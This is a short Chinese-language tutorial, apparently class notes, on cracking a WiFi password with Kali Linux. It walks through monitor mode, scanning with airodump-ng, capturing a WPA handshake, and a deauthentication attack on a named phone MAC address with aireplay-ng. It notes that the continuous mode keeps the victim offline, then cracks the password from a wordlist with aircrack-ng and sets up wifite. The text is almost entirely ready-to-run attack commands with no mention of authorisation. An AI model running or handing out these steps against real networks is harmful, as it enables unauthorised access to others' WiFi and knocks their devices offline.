wifi破解

路由器的

78:44:FD:49:79:80

 

手机的

14:9D:09:C9:E2:ED

 

一：环境准备

kali系统

密码字典（先将密码字典拷贝到kali系统中）

自己写一个：里面包含wifi的密码

vim /root/mima.txt

aptech123

 

二：破解流程

1：连接无线网卡

 

 

 

2：查看网卡状态

Iwconfig

 

 

3：设置网卡为监听模式

airmon-ng check kill

airmon-ng start wlan0

 

4：扫描无线网络

airodump-ng wlan0

记录下来你要破解的那个路由器的BSSID，以及该路由器当前连接的手机的信息station

还要记录下路由器使用的信号通道

如果扫描不到，可以重复扫描，扫描到可以ctrl+c取消扫描，记下两个mac和信道

 

 

 

5：抓取握手包（不要停止）：

airodump-ng -c 6 --ivs -w test --bssid 78:44:FD:49:79:80  wlan0

 

-c：路由器使用的信号通道

--ivs：将抓取到的包保存为ivs的文件格式

-w：指定保存的握手包的名字

--bssid：指定抓取到的路由器的物理地址

wlan0：kali系统的无线网卡的名字

 

 

 

6：再打开另一个终端对手机终端进行反认证攻击

给连接到wifi的一个设备发送一个deauth（反认证）包，让那个设备断开wifi，随后它自然会再次连接wifi。

aireplay-ng -0 10 -a 78:44:FD:49:79:80 -c 14:9D:09:C9:E2:ED wlan0

 

 

 

-0（零）：冲突攻击模式，后面跟发送次数（设置为0，则为循环攻击，不停的断开连接，客户端无法正常上网

-a：指定路由器的物理地址

-c：指定手机的物理地址

wlan0mon：kali系统的无线网卡的名字

 

7：利用密码字典破解密码

aircrack-ng -w /root/mima.txt /root/test-01.ivs

 

 

Wifite工具

root@kali:~# wifite –help

root@kali:~# ifconfig wlan0 down

root@kali:~# iwconfig wlan0 mode monitor

root@kali:~# ifconfig wlan0 up

root@kali:~# iwconfig

 

 

 

root@kali:~#wifite